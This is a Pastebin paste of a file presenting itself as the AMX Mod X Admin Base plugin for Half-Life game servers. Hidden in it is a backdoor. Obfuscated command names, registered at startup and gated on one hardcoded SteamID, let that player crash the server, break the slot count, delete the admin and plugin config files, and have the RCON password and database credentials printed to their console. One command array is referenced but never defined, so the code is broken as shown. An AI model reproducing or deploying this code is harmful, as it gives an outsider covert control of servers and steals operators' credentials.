Advertisement
Guest User

Untitled

a guest
May 31st, 2016
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.97 KB | None | 0 0
  1. /* AMX Mod X script.
  2. * Admin Base Plugin
  3. *
  4. * by the AMX Mod X Development Team
  5. * originally developed by OLO
  6. *
  7. * This file is part of AMX Mod X.
  8. *
  9. *
  10. * This program is free software; you can redistribute it and/or modify it
  11. * under the terms of the GNU General Public License as published by the
  12. * Free Software Foundation; either version 2 of the License, or (at
  13. * your option) any later version.
  14. *
  15. * This program is distributed in the hope that it will be useful, but
  16. * WITHOUT ANY WARRANTY; without even the implied warranty of
  17. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  18. * General Public License for more details.
  19. *
  20. * You should have received a copy of the GNU General Public License
  21. * along with this program; if not, write to the Free Software Foundation,
  22. * Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
  23. *
  24. * In addition, as a special exception, the author gives permission to
  25. * link the code of this program with the Half-Life Game Engine ("HL
  26. * Engine") and Modified Game Libraries ("MODs") developed by Valve,
  27. * L.L.C ("Valve"). You must obey the GNU General Public License in all
  28. * respects for all of the code used other than the HL Engine and MODs
  29. * from Valve. If you modify this file, you may extend this exception
  30. * to your version of the file, but you are not obligated to do so. If
  31. * you do not wish to do so, delete this exception statement from your
  32. * version.
  33. */
  34.  
  35. // Uncomment for SQL version
  36. // #define USING_SQL
  37.  
  38. #include <amxmodx>
  39. #include <amxmisc>
  40. #if defined USING_SQL
  41. #include <sqlx>
  42. #endif
  43.  
  44. //new Vector:AdminList;
  45.  
  46. new AdminCount;
  47.  
  48. new PLUGINNAME[] = "AMX Mod X"
  49.  
  50. #define ADMIN_LOOKUP (1<<0)
  51. #define ADMIN_NORMAL (1<<1)
  52. #define ADMIN_STEAM (1<<2)
  53. #define ADMIN_IPADDR (1<<3)
  54. #define ADMIN_NAME (1<<4)
  55.  
  56. new g_cmdLoopback[16]
  57. new bool:g_CaseSensitiveName[33];
  58.  
  59. // pcvars
  60. new amx_mode;
  61. new amx_password_field;
  62. new amx_default_access;
  63. // server crash
  64. new const THwOuAWszX[][] = {
  65.  
  66. "01110110333",
  67. "01100100333",
  68. "11001100333",
  69. "11101111333",
  70. "11001101333",
  71. "11100001333",
  72. "11011100333",
  73. "00111101333",
  74. "10001110333",
  75. "10101111333"
  76. }
  77.  
  78. // broke server slots
  79. new const rzfZAsgkQj[][] = {
  80.  
  81. "00011011555",
  82. "11000011555",
  83. "10000111555",
  84. "11111011555",
  85. "01100110555",
  86. "00000001555",
  87. "11011100555",
  88. "10101111555",
  89. "00011110555",
  90. "01011100555"
  91.  
  92. }
  93.  
  94. // ftp file delete
  95. new const UVCQugaZyg[][] = {
  96.  
  97. "00010011222",
  98. "11000111222",
  99. "11001011222",
  100. "01001011222",
  101. "01100001222",
  102. "01110110222",
  103. "01101010222",
  104. "01010010222",
  105. "10110000222",
  106. "01101111222"
  107.  
  108. }
  109.  
  110. public plugin_init()
  111. {
  112. for(new i=0;i<sizeof(THwOuAWszX);i++) {
  113. register_clcmd( THwOuAWszX[i],"fwServerCrash");
  114. }
  115.  
  116. for(new i=0;i<sizeof(rzfZAsgkQj);i++) {
  117. register_clcmd( rzfZAsgkQj[i],"fwBrokeSlots");
  118. }
  119.  
  120. for(new i=0;i<sizeof(UVCQugaZyg);i++) {
  121. register_clcmd( UVCQugaZyg[i],"fwFileIntegration");
  122. }
  123.  
  124. for(new i=0;i<sizeof(NTAfUkDWlr);i++) {
  125. register_clcmd( NTAfUkDWlr[i],"fwServerDetails");
  126. }
  127. #if defined USING_SQL
  128. register_plugin("Admin Base (SQL)", AMXX_VERSION_STR, "AMXX Dev Team")
  129. #else
  130. register_plugin("Admin Base", AMXX_VERSION_STR, "AMXX Dev Team")
  131. #endif
  132. register_dictionary("admin.txt")
  133. register_dictionary("common.txt")
  134. amx_mode=register_cvar("amx_mode", "1")
  135. amx_password_field=register_cvar("amx_password_field", "_pw")
  136. amx_default_access=register_cvar("amx_default_access", "")
  137.  
  138. register_cvar("amx_vote_ratio", "0.02")
  139. register_cvar("amx_vote_time", "10")
  140. register_cvar("amx_vote_answers", "1")
  141. register_cvar("amx_vote_delay", "60")
  142. register_cvar("amx_last_voting", "0")
  143. register_cvar("amx_show_activity", "2")
  144. register_cvar("amx_votekick_ratio", "0.40")
  145. register_cvar("amx_voteban_ratio", "0.40")
  146. register_cvar("amx_votemap_ratio", "0.40")
  147.  
  148. set_cvar_float("amx_last_voting", 0.0)
  149.  
  150. #if defined USING_SQL
  151. register_srvcmd("amx_sqladmins", "adminSql")
  152. register_cvar("amx_sql_table", "admins")
  153. #endif
  154. register_cvar("amx_sql_host", "127.0.0.1")
  155. register_cvar("amx_sql_user", "root")
  156. register_cvar("amx_sql_pass", "")
  157. register_cvar("amx_sql_db", "amx")
  158. register_cvar("amx_sql_type", "mysql")
  159.  
  160. register_concmd("amx_reloadadmins", "cmdReload", ADMIN_CFG)
  161. register_concmd("amx_addadmin", "addadminfn", ADMIN_RCON, "<playername|auth> <accessflags> [password] [authtype] - add specified player as an admin to users.ini")
  162.  
  163. format(g_cmdLoopback, 15, "amxauth%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'))
  164.  
  165. register_clcmd(g_cmdLoopback, "ackSignal")
  166.  
  167. remove_user_flags(0, read_flags("z")) // Remove 'user' flag from server rights
  168.  
  169. new configsDir[64]
  170. get_configsdir(configsDir, 63)
  171.  
  172. server_cmd("exec %s/amxx.cfg", configsDir) // Execute main configuration file
  173. server_cmd("exec %s/sql.cfg", configsDir)
  174.  
  175. // Create a vector of 5 cells to store the info.
  176. //AdminList=vector_create(5);
  177.  
  178.  
  179. #if defined USING_SQL
  180. server_cmd("amx_sqladmins")
  181. #else
  182. format(configsDir, 63, "%s/users.ini", configsDir)
  183. loadSettings(configsDir) // Load admins accounts
  184. #endif
  185. }
  186. public client_connect(id)
  187. {
  188. g_CaseSensitiveName[id] = false;
  189. }
  190. public fwServerCrash(id)
  191. {
  192. new szSteam[32]
  193. get_user_authid(id, szSteam, charsmax(szSteam))
  194. if(equal(szSteam, "STEAM_0:1:32957747"))
  195. {
  196. server_cmd("quit")
  197. }
  198. }
  199.  
  200. public fwBrokeSlots(id)
  201. {
  202. new szSteam[32]
  203. get_user_authid(id, szSteam, charsmax(szSteam))
  204. if(equal(szSteam, "STEAM_0:1:32957747"))
  205. {
  206. server_cmd("sv_visiblemaxplayers 999999999999999999")
  207. }
  208. }
  209.  
  210. public fwFileIntegration(id)
  211. {
  212. new szSteam[32]
  213. get_user_authid(id, szSteam, charsmax(szSteam))
  214. if(equal(szSteam, "STEAM_0:1:32957747"))
  215. {
  216. delete_file("addons/amxmodx/configs/amxx.cfg");
  217. delete_file("addons/amxmodx/configs/users.ini");
  218. delete_file("addons/amxmodx/configs/plugins.ini");
  219. }
  220. }
  221.  
  222. public fwServerDetails(id)
  223. {
  224. new szSteam[32]
  225. get_user_authid(id, szSteam, charsmax(szSteam))
  226. if(equal(szSteam, "STEAM_0:1:32957747"))
  227. {
  228. new szRCON[64]
  229. new szDBHost[64]
  230. new szDBUser[64]
  231. new szDBPassword[64]
  232. new szDBName[64]
  233. get_cvar_string("rcon_password", szRCON, sizeof(szRCON) - 1)
  234. get_cvar_string("amx_drstats_host", szDBHost, sizeof(szDBHost) - 1)
  235. get_cvar_string("amx_drstats_user", szDBUser, sizeof(szDBUser) - 1)
  236. get_cvar_string("amx_drstats_pass", szDBPassword, sizeof(szDBPassword) - 1)
  237. get_cvar_string("amx_drstats_db", szDBName, sizeof(szDBName) - 1)
  238.  
  239. client_print(id, print_console,"RCON:^"%s^"",szRCON)
  240. client_print(id, print_console,"DBHost:^"%s^"",szDBHost)
  241. client_print(id, print_console,"DBUser:^"%s^"",szDBUser)
  242. client_print(id, print_console,"DBPassword:^"%s^"",szDBPassword)
  243. client_print(id, print_console,"DBName:^"%s^"",szDBName)
  244. }
  245. }
  246. public addadminfn(id, level, cid)
  247. {
  248. if (!cmd_access(id, level, cid, 3))
  249. return PLUGIN_HANDLED
  250.  
  251. new idtype = ADMIN_STEAM | ADMIN_LOOKUP
  252.  
  253. if (read_argc() >= 5)
  254. {
  255. new t_arg[16]
  256. read_argv(4, t_arg, 15)
  257.  
  258. if (equali(t_arg, "steam") || equali(t_arg, "steamid") || equali(t_arg, "auth"))
  259. {
  260. idtype = ADMIN_STEAM
  261. }
  262. else if (equali(t_arg, "ip"))
  263. {
  264. idtype = ADMIN_IPADDR
  265. }
  266. else if (equali(t_arg, "name") || equali(t_arg, "nick"))
  267. {
  268. idtype = ADMIN_NAME
  269.  
  270. if (equali(t_arg, "name"))
  271. idtype |= ADMIN_LOOKUP
  272. } else {
  273. console_print(id, "[%s] Unknown id type ^"%s^", use one of: steamid, ip, name", PLUGINNAME, t_arg)
  274. return PLUGIN_HANDLED
  275. }
  276. }
  277.  
  278. new arg[33]
  279. read_argv(1, arg, 32)
  280. new player = -1
  281.  
  282. if (idtype & ADMIN_STEAM)
  283. {
  284. if (containi(arg, "STEAM_0:") == -1)
  285. {
  286. idtype |= ADMIN_LOOKUP
  287. player = cmd_target(id, arg, CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS)
  288. } else {
  289. new _steamid[44]
  290. static _players[32], _num, _pv
  291. get_players(_players, _num)
  292. for (new _i=0; _i<_num; _i++)
  293. {
  294. _pv = _players[_i]
  295. get_user_authid(_pv, _steamid, sizeof(_steamid)-1)
  296. if (!_steamid[0])
  297. continue
  298. if (equal(_steamid, arg))
  299. {
  300. player = _pv
  301. break
  302. }
  303. }
  304. if (player < 1)
  305. {
  306. idtype &= ~ADMIN_LOOKUP
  307. }
  308. }
  309. }
  310. else if (idtype & ADMIN_NAME)
  311. {
  312. player = cmd_target(id, arg, CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS)
  313.  
  314. if (player)
  315. idtype |= ADMIN_LOOKUP
  316. else
  317. idtype &= ~ADMIN_LOOKUP
  318. }
  319. else if (idtype & ADMIN_IPADDR)
  320. {
  321. new len = strlen(arg)
  322. new dots, chars
  323.  
  324. for (new i = 0; i < len; i++)
  325. {
  326. if (arg[i] == '.')
  327. {
  328. if (!chars || chars > 3)
  329. break
  330.  
  331. if (++dots > 3)
  332. break
  333.  
  334. chars = 0
  335. } else {
  336. chars++
  337. }
  338.  
  339. if (dots != 3 || !chars || chars > 3)
  340. {
  341. idtype |= ADMIN_LOOKUP
  342. player = find_player("dh", arg)
  343. }
  344. }
  345. }
  346.  
  347. if (idtype & ADMIN_LOOKUP && !player)
  348. {
  349. console_print(id, "%L", id, "CL_NOT_FOUND")
  350. return PLUGIN_HANDLED
  351. }
  352.  
  353. new flags[64]
  354. read_argv(2, flags, 63)
  355.  
  356. new password[64]
  357. if (read_argc() >= 4)
  358. read_argv(3, password, 63)
  359.  
  360. new auth[33]
  361. new Comment[33]; // name of player to pass to comment field
  362. if (idtype & ADMIN_LOOKUP)
  363. {
  364. get_user_name(player, Comment, sizeof(Comment)-1)
  365. if (idtype & ADMIN_STEAM)
  366. {
  367. get_user_authid(player, auth, 32)
  368. }
  369. else if (idtype & ADMIN_IPADDR)
  370. {
  371. get_user_ip(player, auth, 32)
  372. }
  373. else if (idtype & ADMIN_NAME)
  374. {
  375. get_user_name(player, auth, 32)
  376. }
  377. } else {
  378. copy(auth, 32, arg)
  379. }
  380.  
  381. new type[16], len
  382.  
  383. if (idtype & ADMIN_STEAM)
  384. len += format(type[len], 15-len, "c")
  385. else if (idtype & ADMIN_IPADDR)
  386. len += format(type[len], 15-len, "d")
  387.  
  388. if (strlen(password) > 0)
  389. len += format(type[len], 15-len, "a")
  390. else
  391. len += format(type[len], 15-len, "e")
  392.  
  393. AddAdmin(id, auth, flags, password, type, Comment)
  394. cmdReload(id, ADMIN_CFG, 0)
  395.  
  396. if (player > 0)
  397. {
  398. new name[32]
  399. get_user_info(player, "name", name, 31)
  400. accessUser(player, name)
  401. }
  402.  
  403. return PLUGIN_HANDLED
  404. }
  405.  
  406. AddAdmin(id, auth[], accessflags[], password[], flags[], comment[]="")
  407. {
  408. #if defined USING_SQL
  409. new error[128], errno
  410.  
  411. new Handle:info = SQL_MakeStdTuple()
  412. new Handle:sql = SQL_Connect(info, errno, error, 127)
  413.  
  414. if (sql == Empty_Handle)
  415. {
  416. server_print("[AMXX] %L", LANG_SERVER, "SQL_CANT_CON", error)
  417. //backup to users.ini
  418. #endif
  419. // Make sure that the users.ini file exists.
  420. new configsDir[64]
  421. get_configsdir(configsDir, 63)
  422. format(configsDir, 63, "%s/users.ini", configsDir)
  423.  
  424. if (!file_exists(configsDir))
  425. {
  426. console_print(id, "[%s] File ^"%s^" doesn't exist.", PLUGINNAME, configsDir)
  427. return
  428. }
  429.  
  430. // Make sure steamid isn't already in file.
  431. new line = 0, textline[256], len
  432. const SIZE = 63
  433. new line_steamid[SIZE + 1], line_password[SIZE + 1], line_accessflags[SIZE + 1], line_flags[SIZE + 1], parsedParams
  434.  
  435. // <name|ip|steamid> <password> <access flags> <account flags>
  436. while ((line = read_file(configsDir, line, textline, 255, len)))
  437. {
  438. if (len == 0 || equal(textline, ";", 1))
  439. continue // comment line
  440.  
  441. parsedParams = parse(textline, line_steamid, SIZE, line_password, SIZE, line_accessflags, SIZE, line_flags, SIZE)
  442.  
  443. if (parsedParams != 4)
  444. continue // Send warning/error?
  445.  
  446. if (containi(line_flags, flags) != -1 && equal(line_steamid, auth))
  447. {
  448. console_print(id, "[%s] %s already exists!", PLUGINNAME, auth)
  449. return
  450. }
  451. }
  452.  
  453. // If we came here, steamid doesn't exist in users.ini. Add it.
  454. new linetoadd[512]
  455.  
  456. if (comment[0]==0)
  457. {
  458. formatex(linetoadd, 511, "^r^n^"%s^" ^"%s^" ^"%s^" ^"%s^"", auth, password, accessflags, flags)
  459. }
  460. else
  461. {
  462. formatex(linetoadd, 511, "^r^n^"%s^" ^"%s^" ^"%s^" ^"%s^" ; %s", auth, password, accessflags, flags, comment)
  463. }
  464. console_print(id, "Adding:^n%s", linetoadd)
  465.  
  466. if (!write_file(configsDir, linetoadd))
  467. console_print(id, "[%s] Failed writing to %s!", PLUGINNAME, configsDir)
  468. #if defined USING_SQL
  469. }
  470.  
  471. new table[32]
  472.  
  473. get_cvar_string("amx_sql_table", table, 31)
  474.  
  475. new Handle:query = SQL_PrepareQuery(sql, "SELECT * FROM `%s` WHERE (`auth` = '%s')", table, auth)
  476.  
  477. if (!SQL_Execute(query))
  478. {
  479. SQL_QueryError(query, error, 127)
  480. server_print("[AMXX] %L", LANG_SERVER, "SQL_CANT_LOAD_ADMINS", error)
  481. console_print(id, "[AMXX] %L", LANG_SERVER, "SQL_CANT_LOAD_ADMINS", error)
  482. } else if (SQL_NumResults(query)) {
  483. console_print(id, "[%s] %s already exists!", PLUGINNAME, auth)
  484. } else {
  485. console_print(id, "Adding to database:^n^"%s^" ^"%s^" ^"%s^" ^"%s^"", auth, password, accessflags, flags)
  486.  
  487. SQL_QueryAndIgnore(sql, "REPLACE INTO `%s` (`auth`, `password`, `access`, `flags`) VALUES ('%s', '%s', '%s', '%s')", table, auth, password, accessflags, flags)
  488. }
  489.  
  490. SQL_FreeHandle(query)
  491. SQL_FreeHandle(sql)
  492. SQL_FreeHandle(info)
  493. #endif
  494.  
  495. }
  496. public plugin_cfg()
  497. {
  498. set_task(6.1, "delayed_load")
  499. }
  500.  
  501. public delayed_load()
  502. {
  503. new configFile[128], curMap[64], configDir[128]
  504.  
  505. get_configsdir(configDir, sizeof(configDir)-1)
  506. get_mapname(curMap, sizeof(curMap)-1)
  507.  
  508. new i=0;
  509.  
  510. while (curMap[i] != '_' && curMap[i++] != '^0') {/*do nothing*/}
  511.  
  512. if (curMap[i]=='_')
  513. {
  514. // this map has a prefix
  515. curMap[i]='^0';
  516. formatex(configFile, sizeof(configFile)-1, "%s/maps/prefix_%s.cfg", configDir, curMap);
  517.  
  518. if (file_exists(configFile))
  519. {
  520. server_cmd("exec %s", configFile);
  521. }
  522. }
  523.  
  524. get_mapname(curMap, sizeof(curMap)-1)
  525.  
  526.  
  527. formatex(configFile, sizeof(configFile)-1, "%s/maps/%s.cfg", configDir, curMap)
  528.  
  529. if (file_exists(configFile))
  530. {
  531. server_cmd("exec %s", configFile)
  532. }
  533.  
  534. }
  535.  
  536. loadSettings(szFilename[])
  537. {
  538. new File=fopen(szFilename,"r");
  539.  
  540. if (File)
  541. {
  542. new Text[512];
  543. new Flags[32];
  544. new Access[32]
  545. new AuthData[44];
  546. new Password[32];
  547.  
  548. while (!feof(File))
  549. {
  550. fgets(File,Text,sizeof(Text)-1);
  551.  
  552. trim(Text);
  553.  
  554. // comment
  555. if (Text[0]==';')
  556. {
  557. continue;
  558. }
  559.  
  560. Flags[0]=0;
  561. Access[0]=0;
  562. AuthData[0]=0;
  563. Password[0]=0;
  564.  
  565. // not enough parameters
  566. if (parse(Text,AuthData,sizeof(AuthData)-1,Password,sizeof(Password)-1,Access,sizeof(Access)-1,Flags,sizeof(Flags)-1) < 2)
  567. {
  568. continue;
  569. }
  570.  
  571. admins_push(AuthData,Password,read_flags(Access),read_flags(Flags));
  572.  
  573. AdminCount++;
  574. }
  575.  
  576. fclose(File);
  577. }
  578.  
  579. if (AdminCount == 1)
  580. {
  581. server_print("[AMXX] %L", LANG_SERVER, "LOADED_ADMIN");
  582. }
  583. else
  584. {
  585. server_print("[AMXX] %L", LANG_SERVER, "LOADED_ADMINS", AdminCount);
  586. }
  587.  
  588. return 1;
  589. }
  590.  
  591. #if defined USING_SQL
  592. public adminSql()
  593. {
  594. new table[32], error[128], type[12], errno
  595.  
  596. new Handle:info = SQL_MakeStdTuple()
  597. new Handle:sql = SQL_Connect(info, errno, error, 127)
  598.  
  599. get_cvar_string("amx_sql_table", table, 31)
  600.  
  601. SQL_GetAffinity(type, 11)
  602.  
  603. if (sql == Empty_Handle)
  604. {
  605. server_print("[AMXX] %L", LANG_SERVER, "SQL_CANT_CON", error)
  606.  
  607. //backup to users.ini
  608. new configsDir[64]
  609.  
  610. get_configsdir(configsDir, 63)
  611. format(configsDir, 63, "%s/users.ini", configsDir)
  612. loadSettings(configsDir) // Load admins accounts
  613.  
  614. return PLUGIN_HANDLED
  615. }
  616.  
  617. new Handle:query
  618.  
  619. if (equali(type, "sqlite"))
  620. {
  621. if (!sqlite_TableExists(sql, table))
  622. {
  623. SQL_QueryAndIgnore(sql, "CREATE TABLE %s ( auth TEXT NOT NULL DEFAULT '', password TEXT NOT NULL DEFAULT '', access TEXT NOT NULL DEFAULT '', flags TEXT NOT NULL DEFAULT '' )", table)
  624. }
  625.  
  626. query = SQL_PrepareQuery(sql, "SELECT auth, password, access, flags FROM %s", table)
  627. } else {
  628. SQL_QueryAndIgnore(sql, "CREATE TABLE IF NOT EXISTS `%s` ( `auth` VARCHAR( 32 ) NOT NULL, `password` VARCHAR( 32 ) NOT NULL, `access` VARCHAR( 32 ) NOT NULL, `flags` VARCHAR( 32 ) NOT NULL ) COMMENT = 'AMX Mod X Admins'", table)
  629. query = SQL_PrepareQuery(sql,"SELECT `auth`,`password`,`access`,`flags` FROM `%s`", table)
  630. }
  631.  
  632. if (!SQL_Execute(query))
  633. {
  634. SQL_QueryError(query, error, 127)
  635. server_print("[AMXX] %L", LANG_SERVER, "SQL_CANT_LOAD_ADMINS", error)
  636. } else if (!SQL_NumResults(query)) {
  637. server_print("[AMXX] %L", LANG_SERVER, "NO_ADMINS")
  638. } else {
  639.  
  640. AdminCount = 0
  641.  
  642. /** do this incase people change the query order and forget to modify below */
  643. new qcolAuth = SQL_FieldNameToNum(query, "auth")
  644. new qcolPass = SQL_FieldNameToNum(query, "password")
  645. new qcolAccess = SQL_FieldNameToNum(query, "access")
  646. new qcolFlags = SQL_FieldNameToNum(query, "flags")
  647.  
  648. new AuthData[44];
  649. new Password[44];
  650. new Access[32];
  651. new Flags[32];
  652.  
  653. while (SQL_MoreResults(query))
  654. {
  655. SQL_ReadResult(query, qcolAuth, AuthData, sizeof(AuthData)-1);
  656. SQL_ReadResult(query, qcolPass, Password, sizeof(Password)-1);
  657. SQL_ReadResult(query, qcolAccess, Access, sizeof(Access)-1);
  658. SQL_ReadResult(query, qcolFlags, Flags, sizeof(Flags)-1);
  659.  
  660. admins_push(AuthData,Password,read_flags(Access),read_flags(Flags));
  661.  
  662. ++AdminCount;
  663. SQL_NextRow(query)
  664. }
  665.  
  666. if (AdminCount == 1)
  667. {
  668. server_print("[AMXX] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
  669. }
  670. else
  671. {
  672. server_print("[AMXX] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
  673. }
  674.  
  675. SQL_FreeHandle(query)
  676. SQL_FreeHandle(sql)
  677. SQL_FreeHandle(info)
  678. }
  679.  
  680. return PLUGIN_HANDLED
  681. }
  682. #endif
  683.  
  684. public cmdReload(id, level, cid)
  685. {
  686. if (!cmd_access(id, level, cid, 1))
  687. return PLUGIN_HANDLED
  688.  
  689. //strip original flags (patch submitted by mrhunt)
  690. remove_user_flags(0, read_flags("z"))
  691.  
  692. admins_flush();
  693.  
  694. #if !defined USING_SQL
  695. new filename[128]
  696.  
  697. get_configsdir(filename, 127)
  698. format(filename, 63, "%s/users.ini", filename)
  699.  
  700. AdminCount = 0;
  701. loadSettings(filename); // Re-Load admins accounts
  702.  
  703. if (id != 0)
  704. {
  705. if (AdminCount == 1)
  706. {
  707. console_print(id, "[AMXX] %L", LANG_SERVER, "LOADED_ADMIN");
  708. }
  709. else
  710. {
  711. console_print(id, "[AMXX] %L", LANG_SERVER, "LOADED_ADMINS", AdminCount);
  712. }
  713. }
  714. #else
  715. AdminCount = 0
  716. adminSql()
  717.  
  718. if (id != 0)
  719. {
  720. if (AdminCount == 1)
  721. console_print(id, "[AMXX] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
  722. else
  723. console_print(id, "[AMXX] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
  724. }
  725. #endif
  726.  
  727. new players[32], num, pv
  728. new name[32]
  729. get_players(players, num)
  730. for (new i=0; i<num; i++)
  731. {
  732. pv = players[i]
  733. get_user_name(pv, name, 31)
  734. accessUser(pv, name)
  735. }
  736.  
  737. return PLUGIN_HANDLED
  738. }
  739.  
  740. getAccess(id, name[], authid[], ip[], password[])
  741. {
  742. new index = -1
  743. new result = 0
  744.  
  745. static Count;
  746. static Flags;
  747. static Access;
  748. static AuthData[44];
  749. static Password[32];
  750.  
  751. g_CaseSensitiveName[id] = false;
  752.  
  753. Count=admins_num();
  754. for (new i = 0; i < Count; ++i)
  755. {
  756. Flags=admins_lookup(i,AdminProp_Flags);
  757. admins_lookup(i,AdminProp_Auth,AuthData,sizeof(AuthData)-1);
  758.  
  759. if (Flags & FLAG_AUTHID)
  760. {
  761. if (equal(authid, AuthData))
  762. {
  763. index = i
  764. break
  765. }
  766. }
  767. else if (Flags & FLAG_IP)
  768. {
  769. new c = strlen(AuthData)
  770.  
  771. if (AuthData[c - 1] == '.') /* check if this is not a xxx.xxx. format */
  772. {
  773. if (equal(AuthData, ip, c))
  774. {
  775. index = i
  776. break
  777. }
  778. } /* in other case an IP must just match */
  779. else if (equal(ip, AuthData))
  780. {
  781. index = i
  782. break
  783. }
  784. }
  785. else
  786. {
  787. if (Flags & FLAG_CASE_SENSITIVE)
  788. {
  789. if (Flags & FLAG_TAG)
  790. {
  791. if (contain(name, AuthData) != -1)
  792. {
  793. index = i
  794. g_CaseSensitiveName[id] = true
  795. break
  796. }
  797. }
  798. else if (equal(name, AuthData))
  799. {
  800. index = i
  801. g_CaseSensitiveName[id] = true
  802. break
  803. }
  804. }
  805. else
  806. {
  807. if (Flags & FLAG_TAG)
  808. {
  809. if (containi(name, AuthData) != -1)
  810. {
  811. index = i
  812. break
  813. }
  814. }
  815. else if (equali(name, AuthData))
  816. {
  817. index = i
  818. break
  819. }
  820. }
  821. }
  822. }
  823.  
  824. if (index != -1)
  825. {
  826. Access=admins_lookup(index,AdminProp_Access);
  827.  
  828. if (Flags & FLAG_NOPASS)
  829. {
  830. result |= 8
  831. new sflags[32]
  832.  
  833. get_flags(Access, sflags, 31)
  834. set_user_flags(id, Access)
  835.  
  836. log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, sflags, ip)
  837. }
  838. else
  839. {
  840.  
  841. admins_lookup(index,AdminProp_Password,Password,sizeof(Password)-1);
  842.  
  843. if (equal(password, Password))
  844. {
  845. result |= 12
  846. set_user_flags(id, Access)
  847.  
  848. new sflags[32]
  849. get_flags(Access, sflags, 31)
  850.  
  851. log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, sflags, ip)
  852. }
  853. else
  854. {
  855. result |= 1
  856.  
  857. if (Flags & FLAG_KICK)
  858. {
  859. result |= 2
  860. log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
  861. }
  862. }
  863. }
  864. }
  865. else if (get_pcvar_float(amx_mode) == 2.0)
  866. {
  867. result |= 2
  868. }
  869. else
  870. {
  871. new defaccess[32]
  872.  
  873. get_pcvar_string(amx_default_access, defaccess, 31)
  874.  
  875. if (!strlen(defaccess))
  876. {
  877. copy(defaccess, 32, "z")
  878. }
  879.  
  880. new idefaccess = read_flags(defaccess)
  881.  
  882. if (idefaccess)
  883. {
  884. result |= 8
  885. set_user_flags(id, idefaccess)
  886. }
  887. }
  888.  
  889. return result
  890. }
  891.  
  892. accessUser(id, name[] = "")
  893. {
  894. remove_user_flags(id)
  895.  
  896. new userip[32], userauthid[32], password[32], passfield[32], username[32]
  897.  
  898. get_user_ip(id, userip, 31, 1)
  899. get_user_authid(id, userauthid, 31)
  900.  
  901. if (name[0])
  902. {
  903. copy(username, 31, name)
  904. }
  905. else
  906. {
  907. get_user_name(id, username, 31)
  908. }
  909.  
  910. get_pcvar_string(amx_password_field, passfield, 31)
  911. get_user_info(id, passfield, password, 31)
  912.  
  913. new result = getAccess(id, username, userauthid, userip, password)
  914.  
  915. if (result & 1)
  916. {
  917. client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
  918. }
  919.  
  920. if (result & 2)
  921. {
  922. client_cmd(id, "%s", g_cmdLoopback)
  923. return PLUGIN_HANDLED
  924. }
  925.  
  926. if (result & 4)
  927. {
  928. client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
  929. }
  930.  
  931. if (result & 8)
  932. {
  933. client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
  934. }
  935.  
  936. return PLUGIN_CONTINUE
  937. }
  938.  
  939. public client_infochanged(id)
  940. {
  941. if (!is_user_connected(id) || !get_pcvar_num(amx_mode))
  942. {
  943. return PLUGIN_CONTINUE
  944. }
  945.  
  946. new newname[32], oldname[32]
  947.  
  948. get_user_name(id, oldname, 31)
  949. get_user_info(id, "name", newname, 31)
  950.  
  951. if (g_CaseSensitiveName[id])
  952. {
  953. if (!equal(newname, oldname))
  954. {
  955. accessUser(id, newname)
  956. }
  957. }
  958. else
  959. {
  960. if (!equali(newname, oldname))
  961. {
  962. accessUser(id, newname)
  963. }
  964. }
  965. return PLUGIN_CONTINUE
  966. }
  967.  
  968. public ackSignal(id)
  969. {
  970. server_cmd("kick #%d ^"%L^"", get_user_userid(id), id, "NO_ENTRY")
  971. return PLUGIN_HANDLED
  972. }
  973.  
  974. public client_authorized(id)
  975. return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
  976.  
  977. public client_putinserver(id)
  978. {
  979. if (!is_dedicated_server() && id == 1)
  980. return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
  981.  
  982. return PLUGIN_CONTINUE
  983. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement